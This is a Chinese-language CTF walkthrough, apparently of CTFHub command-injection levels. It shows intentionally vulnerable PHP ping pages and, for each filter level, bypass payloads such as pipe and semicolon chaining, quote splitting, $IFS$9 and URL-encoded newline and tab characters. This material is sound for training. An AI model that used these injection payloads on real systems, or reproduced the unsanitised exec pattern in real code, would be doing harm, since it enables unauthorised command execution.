目录
命令注入
进入环境后就看到一个ping命令框,下面还附有源码
可以看到这一关是没有任何过滤的,所以可以直接用‘|’进行拼接
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
127.0.0.1 | ls
看到两个php文件,去访问第一个
ping完后页面上什么也没有,但是在源码中可以看到flag
过滤cat
进入环境,就看到源码里面对cat的过滤
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
这里进行了对cat的过滤,通过preg_match_all()函数在变量ip和m中搜索“cat”字符串,如果里面没有“cat”字符串,则会进行ping命令。(具体请看下面的文章https://www.runoob.com/php/php-preg_match_all.html)
先用ls查看一下当前目录下有那些文件,看到flag,去看一下。
由于cat被过滤了,所以我们可以尝试进行绕过
法一:
用less、more、tail等命令来代替cat命令
在源码中可以看到flag
法二:
通过反斜杠‘\’或者单引号进行绕过,也可以用tac命令来反向输出
ca''t flag_249182005331565.php
过滤空格
进入环境还是先看源码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
这次将空格进行过滤,那么我们可以通过 $IFS$9 进行绕过(具体可参考下面的博客https://blog.csdn.net/a3320315/article/details/99773192)
在源码中可以看到flag
过滤目录分隔符
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
这一关把正反斜杠给过滤了,但是可以通过;进行绕过
首先先看一下当前目录下的文件
看到一个文件夹,这时候就可以用;来代替/进行命令执行
payload:127.0.0.1;cd flag_is_here;ls
看到flag,再去查看即可得到flag
过滤运算符
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
这一关将||和&给过滤了,但是还可以用其他没有被过滤的运算符进行拼接 看到flag,再去看一下
在源码中可以看到flag
综合过滤练习
源码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
可以看到,这一关几乎过滤了能用的所有字符,所以要进行一些编码绕过,但是这里我试了好久也没整出来,直到看到大佬的博客才知道要在url里面进行修改(大佬博客:https://www.cnblogs.com/0yst3r-2046/p/12617703.html)
这里可以在hackbar里面进行操作,首先就是一些特殊符号的url编码替换
%0a替换换行,%09替换Tab键(又get到了一个新知识点,用Tab键的url编码进行补全文本),%5c替换\(因为cat也被过滤了,所以要用\来分隔cat)
下面开始解题:
首先就是查看当前目录下有哪些文件
看到了一个文件夹,再看看里面有什么
注意,这里是用Tab来补全flag,而不是输入fla来补全后面的。因为这里只是过滤了flag,所以我们通过Tab*来补全flag。
看到flag了,再用cat去看一下 这里要注意,这个flag的文件是在flag_is_here这个文件夹下的,所以我们先要进入这个文件夹,之后才能看到这个文件。